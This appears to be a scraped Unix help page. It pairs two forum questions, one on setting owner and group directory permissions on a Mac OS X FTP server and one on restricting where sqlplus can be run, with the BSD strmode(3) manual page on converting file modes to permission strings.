On my FTP server (Darwin/Mac OS X -- pretty much FreeBSD), I need to apply the following permissions to a directory:
1. A specific owner with full access
2. A specific group with full access
3. A specific group with read-only access
4. No access whatsoever for everyone else
I understand how to apply permission for the owner (1.), the first group (2.), and everyone else (4.)....
What I don't get is how to apply read only access for my second group (3.). I feel certain that I a missing something big here. Can anyone help?
I was wondering if users can be restricted from invoking sqlplus in unix from certain directories. In other words certain users should be able to invoke sqlplus only through certain directories (1 Reply)

strmode
STRMODE(3) BSD Library Functions Manual STRMODE(3)NAME
strmode -- convert inode status information into a symbolic string
LIBRARY
Utility functions from BSD systems (libbsd, -lbsd)
SYNOPSIS
#include <bsd/string.h>
void
strmode(mode_t mode, char *bp);
DESCRIPTION
The strmode() function converts a file mode (the type and permission information associated with an inode, see stat(2)) into a symbolic
string which is stored in the location referenced by bp. This stored string is eleven characters in length plus a trailing NUL.
The first character is the inode type, and will be one of the following:
- regular file
b block special
c character special
d directory
l symbolic link
p fifo
s socket
w whiteout
? unknown inode type
The next nine characters encode three sets of permissions, in three characters each. The first three characters are the permissions for the
owner of the file, the second three for the group the file belongs to, and the third for the ``other'', or default, set of users.
Permission checking is done as specifically as possible. If read permission is denied to the owner of a file in the first set of permis-
sions, the owner of the file will not be able to read the file. This is true even if the owner is in the file's group and the group permis-
sions allow reading or the ``other'' permissions allow reading.
If the first character of the three character set is an ``r'', the file is readable for that set of users; if a dash ``-'', it is not read-
able.
If the second character of the three character set is a ``w'', the file is writable for that set of users; if a dash ``-'', it is not
writable.
The third character is the first of the following characters that apply:
S If the character is part of the owner permissions and the file is not executable or the directory is not searchable by the owner, and
the set-user-id bit is set.
S If the character is part of the group permissions and the file is not executable or the directory is not searchable by the group, and
the set-group-id bit is set.
T If the character is part of the other permissions and the file is not executable or the directory is not searchable by others, and the
``sticky'' (S_ISVTX) bit is set.
s If the character is part of the owner permissions and the file is executable or the directory searchable by the owner, and the set-
user-id bit is set.
s If the character is part of the group permissions and the file is executable or the directory searchable by the group, and the set-
group-id bit is set.
t If the character is part of the other permissions and the file is executable or the directory searchable by others, and the ``sticky''
(S_ISVTX) bit is set.
x The file is executable or the directory is searchable.
- None of the above apply.
The last character is a plus sign ``+'' if any there are any alternate or additional access control methods associated with the inode, other-
wise it will be a space.
